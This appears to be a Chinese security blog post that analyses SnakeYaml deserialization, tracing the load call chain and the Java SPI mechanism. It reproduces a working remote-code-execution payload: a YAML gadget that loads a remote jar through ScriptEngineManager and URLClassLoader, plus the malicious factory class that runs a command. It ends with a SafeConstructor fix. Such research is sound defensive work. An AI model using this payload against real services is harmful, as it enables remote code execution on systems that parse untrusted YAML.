BlBana's BlackHouse.

Java SnakeYaml反序列化

字数统计: 2.7k阅读时长: 12 min
2020/03/24 Share

开始研究Java安全相关技术了,最近开坑了Java反序列化漏洞的研究分析,在github上创了个研究Java反序列化的Repo,列出了一些最近准备分析的反序列化漏洞,打算系统的整理下Java反序列化的知识。Repo中放 Demo 和 PoC 的代码,Blog里放详细的漏洞分析文章。本篇SnakeYaml反序列是第一篇文章,后续会按照列表内容持续跟进相关漏洞。


Java SnakeYaml反序列化

SnakeYaml简介

SnakeYaml用于yaml格式的解析,支持Java对象的序列化、反序列化

Yaml在反序列化时,会调用类中的包含属性的setter方法

序列化、反序列化

  1. Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  2. Yaml.loadAll():入参是Iterator,可以批量反序列化Iterator中的成员;
  3. Yaml.loadAs():入参是InputStreamClass Type,按照指定的类型进行反序列化;
  4. Yaml.dump():同上
  5. Yaml.dumpAll():同上
  6. Yaml.dumpAs():同上

基本类型

  • List

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # test.yml

    - value1
    - value2
    - value3

    @Test
    public void testType() throws Exception {
    Yaml yaml = new Yaml();
    List<String> ret = (List<String>)yaml.load(this.getClass().getClassLoader()
    .getResourceAsStream("test.yml"));
    System.out.println(ret);
    }
  • Map

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # test2.yml

    sample1:
    r: 10
    sample2:
    other: haha
    sample3:
    x: 100
    y: 100

    @Test
    public void test2() throws Exception {
    Yaml yaml = new Yaml();
    Map<String, Object> ret = (Map<String, Object>) yaml.load(this
    .getClass().getClassLoader().getResourceAsStream("test2.yaml"));
    System.out.println(ret);
    }
  • 多片段转换

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # test3.yml

    ---
    sample1:
    r: 10
    ---
    sample2:
    other: haha
    ---
    sample3:
    x: 100
    y: 100

    @Test
    public void test3() throws Exception {
    Yaml yaml = new Yaml();
    Iterable<Object> ret = yaml.loadAll(this.getClass().getClassLoader()
    .getResourceAsStream("test3.yml"));
    for (Object o : ret) {
    System.out.println(o);
    }
    }

对象转换

loadAs转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# address.yml
lines: |
458 Walkman Dr.
Suite #292
city: Royal Oak
state: MI
postal: 48046

public class Address {
private String lines;
private String city;
private String state;
private Integer postal;
}

@Test
public void testAddress() throws Exception {
Yaml yaml = new Yaml();
Address ret = yaml.loadAs(this.getClass().getClassLoader()
.getResourceAsStream("address.yml"), Address.class);
Assert.assertNotNull(ret);
Assert.assertEquals("MI", ret.getState());
}

指定构造器

1
2
3
4
5
6
7
8
@Test
public void testPerson2() {
Yaml yaml = new Yaml(new Constructor(Person.class));
Person ret = (Person) yaml.load(this.getClass().getClassLoader()
.getResourceAsStream("person.yml"));
Assert.assertNotNull(ret);
Assert.assertEquals("MI", ret.getAddress().getState());
}

强制转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# person.yml
!!blbana.Person
given : Chris
family : Dumars
address:
lines: |
458 Walkman Dr.
Suite #292
city : Royal Oak
state : MI
postal : 48046

public class Person {
private String given;
private String family;
private Address address;
}

@Test
public void testPerson() throws Exception {
Yaml yaml = new Yaml();
Person ret = (Person) yaml.load(this.getClass().getClassLoader()
.getResourceAsStream("person.yml"));
Assert.assertNotNull(ret);
Assert.assertEquals("MI", ret.getAddress().getState());
}

”!!”用于强制类型转化,”!!blbana.Person”是将该对象转为blbana.Person类

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost:8000/"]
  ]]
]

SnakeYaml反序列化过程

  • User类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package blbana.YamlTest;

public class User {
String name;
int age;

public User() {
System.out.println("User构造函数");
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getAge() {
return age;
}

public void setAge(String age) {
this.age = age;
}
}
  • Yaml反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package blbana.YamlTest;

import org.yaml.snakeyaml.Yaml;

public class YamlDeserial {
public static void main(String[] args) {
User user = new User();
user.setName("BlBana");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
User user1 = yaml.load(s);
}
}

首先在load方法打下断点,获取到StreamReader 实际在构造方法中将Yaml内容放入到了StringReader实例中,然后调用loadFormReader方法

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/0.png

之后调用了基础构造器BaseConstructorgetSingleData方法获取yaml的反序列化实例,type为Object类型

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/1.png

继续跟进getSingleData方法,先用getSingleNodeStreamReader中的Yaml字符串转换为Node对象,再经过一些判断后,调用constructDocument,其中使用constructObject 将node对象转换为指定类型的实例对象,在node中主要有两个关键属性:

  • Type,用于指定构造实例对象的类型;
  • Tag,用于指定构造实例对象的构造器类型;

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/2.png

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/3.png

跟进调试constructObjectNoCheck 中使用constructor.construct获取构造器处理node

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/4.png

constructor.construct 中获取node的构造器,并对node进行处理;可以看到在获取构造器的方法中,调用了getClassForNode从node中获取到了要反序列化的类对象,并将类对象放入到node的type属性中后面会利用反射动态获取实例对象,跟进一下getClassForNode方法

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/5.png

getClassForNode 中有两个关键方法调用,getClassName获取到了类名,getClassForName获取Class对象

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/6.png

  • getClassName中当开头为固定字符串,就会截取后面的类名返回

    https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/7.png

  • getClassForName中利用反射获取User的类对象

    https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/8.png

继续向下跟进,在newInstance中实例化了User类,进入constructJavaBean2ndStep

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/9.png

已经有了User实例,在constructJavaBean2ndStep中开始将node中的nodeValue放入User实例中

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/10.png

调用constructObject构造实例对象value,并调用property.set进行属性设置

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/11.png

跟进MethodProperty.set 利用反射调用User类的setName方法设置属性值

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/12.png

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/13.png

// 调用链
load()
loadFormReader()
    getSingleData()
    constructDocument()
    constructObject()
        constructor.construct()
        getClassForNode()
            getClassName()
            getClassForName()
        construct()
        constructJavaBean2ndStep()
        property.set()

Java SPI机制

这里需要提前了解一下Java SPI机制(Service Provider Interface),是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启用框架扩展和替换组件。

常见的SPI有JDBC,日志接口,Spring,Spring Boot相关starter组件,Dubbo,JNDI等

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/14.png

使用介绍

  1. 当服务提供者提供了接口的一种具体实现后,在jar包的META-INF/services目录下创建一个以“包名 + 接口名”为命名的文件,内容为实现该接口的类的名称;
  2. 接口实现类所在的jar包放在主程序的classpath中;
  3. 主程序通过java.util.ServiceLoder动态装载实现模块,它通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM;

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPI.IShout

package SPI;

public interface IShout {
void shout();
}

// SPI.Cat

package SPI;

public class Cat implements IShout {

@Override
public void shout() {
System.out.println("Cat");
}
}

// SPI.Dog

package SPI;

public class Dog implements IShout {
@Override
public void shout() {
System.out.println("Dog");
}
}

// SPIMain

package SPI;

import java.util.ServiceLoader;

public class SPIMain {
public static void main(String[] args) {
ServiceLoader<IShout> shouts = ServiceLoader.load(IShout.class);
for(IShout s : shouts) {
s.shout();
}
}
}

运行SPIMain后,Serviceloader会根据配置文件META-INF/services/SPI.IShout 获取到实现接口的类名,实例化后返回到IShout s中,最终调用每个类实例的shout方法

核心过程

调用load方法后,会返回一个LazyIterator 的实例对象

  • service为要扫描的配置文件名
  • loader为当前线程的ClassLoader

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/15.png

当开始遍历这个对象时,调用其hasNext-->hasNextService, nex-->nextService方法,在nextService中反射生成DogCat对象,返回到main方法中调用

  • hasNextService 解析config文件,获取要解析的接口实现类名
  • nextService 实例化接口实现类并返回实例

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/16.png

安全风险

如果攻击者可以根据接口类写恶意的实现类,并且能通过控制Jar包中META-INF/services目录中的SPI配置文件,就会导致服务器端在通过SPI机制时调用攻击者写的恶意实现类导致任意代码执行。

Gadget

  • ScriptEngineManager 利用原理就是SPI机制

SnakeYaml反序列化漏洞

影响范围

SnakelYaml全版本

漏洞类型

Yaml.load方法参数外部可控时,可以构造一个含有恶意垒的Yaml格式内容,服务端进行反序列化可以引起远程命令执行等风险

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
package blbana.YamlTest;

import org.yaml.snakeyaml.Yaml;

public class Payload {
public static void main(String[] args) {
String PoC = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(PoC);
}
}

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/17.png

  • RCE版本
1
2
3
4
5
6
7
8
9
10
11
12
13
// PoC

package YamlTest;

import org.yaml.snakeyaml.Yaml;

public class Payload {
public static void main(String[] args) {
String PoC = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(PoC);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// yaml-payload.jar
// github URL: https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/18.png

漏洞详情

yaml.load(PoC)开始调试,前面的调用链和上述的User类反序列过程是一样的,主要看关键的几个类在构造时的情况

// 调用链
loadFormReader()
    getSingleData()
    constructDocument()
    constructObject()
        constructor.construct()
        getClassForNode()
            getClassName()
            getClassForName()
        construct()
            c.newInstance()
                ScriptEngineManager.init()
                ScriptEngineManager.initEngines()
                ServiceLoader.load()
                itr.hasNext()
                itr.next()
                    ServiceLoader.nextService()
                    Class.forName()
                    c.newInstance()

第一个节点类型为SequenceNode,使用Constructor$ConstructSequence构造方法进行解析,先根据当前节点snodevalue大小生成java.lang.reflect.Constructor类型的List,利用反射机制获取当前节点的所有构造器,并根据节点的Value数量选择对应参数数量的构造器

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/19.png

接下来先获取类的构造器,然后循环将node中的所有Value调用Constructor.this.constructObject(argumentNode) 进行反序列化,获取value的实例对象,用于接下来实例化。

constructObject中会继续遍历解析yaml数据,按照以下顺序进行反序列化

  • class java.lang.String (类对象) Construct$ConstructScalar (构造器)
  • class java.net.URL (类对象) Construct$ConstructSequence (构造器)
  • class java.net.URLClassLoader(类对象) Construct$ConstructSequence (构造器)
  • class javax.script.ScriptEngineManager(类对象) Construct$ConstructSequence (构造器)

调试过程都差不多,只有最后一个节点类型使用构造器不一样

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/20.png

最终使用public javax.script.ScriptEngineManager(java.lang.ClassLoader) 构造器实例化javax.script.ScriptEngineManager ,argumentListx为参数列表

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/21.png

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/22.png

继续跟进public javax.script.ScriptEngineManager(java.lang.ClassLoader)构造方法,接下来就是ScriptEngineManager实例化的过程

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/23.png

跟进initEngines看见实例化了ServiceLoader类,这里用到了上面提到的SPI机制,可以动态的加载指定配置文件中的接口的实现类

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/24.png

循环调用LazyIteratorhasNextnext 方法,分别 获取接口实现类实例化接口实现类

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/25.png

尝试在本地的META-INF/services/javax.script.ScriptEngineFactory 中加载config资源,抛出异常

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/26.png

之后会先将本地jar包中符合条件的接口类实例化,然后通过URLClassLoader加载远程jar包,并拉取至本地的临时文件中,解析jar包中的配置文件META-INF/services/javax.script.ScriptEngineFactory 获取到目标接口实现类artsploit.AwesomeScriptEngineFactory,利用反射机制实例化目标类,类中的静态代码块被执行,成功执行命令

https://blog-img-1252112827.cos.ap-chengdu.myqcloud.com/image/jpg/Java-SnakeYaml-Vuls/27.png

漏洞修复

  • 禁止Yaml.load参数可控
  • 若需要反序列化,则要过滤参数内容,使用SafeConstructor对反序列化内容进行白名单控制

安全编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.yaml.snakeyaml.constructor.SafeConstructor;

public static Map readConfigFile(String filename) throws IOException {
Map ret;
Yaml yaml = new Yaml(new SafeConstructor()); // SafeConstructor是自带的白名单类
InputStream inputStream = new FileInputStream(new File(filename));

try {
ret = (Map)yaml.load(inputStream);
} finally {
inputStream.close();
}

if(ret == null) {
ret = new HashMap();
}

return new HashMap(ret);
}

参考链接

CATALOG
  1. 1. Java SnakeYaml反序列化
  2. 2. SnakeYaml简介
  3. 3. 序列化、反序列化
    1. 3.1. 基本类型
    2. 3.2. 对象转换
      1. 3.2.1. loadAs转换
      2. 3.2.2. 指定构造器
      3. 3.2.3. 强制转换
    3. 3.3. SnakeYaml反序列化过程
  4. 4. Java SPI机制
    1. 4.1. 使用介绍
    2. 4.2. 使用示例
    3. 4.3. 核心过程
    4. 4.4. 安全风险
    5. 4.5. Gadget
  5. 5. SnakeYaml反序列化漏洞
    1. 5.1. 影响范围
    2. 5.2. 漏洞类型
    3. 5.3. 漏洞复现
    4. 5.4. 漏洞详情
    5. 5.5. 漏洞修复
    6. 5.6. 安全编码
  6. 6. 参考链接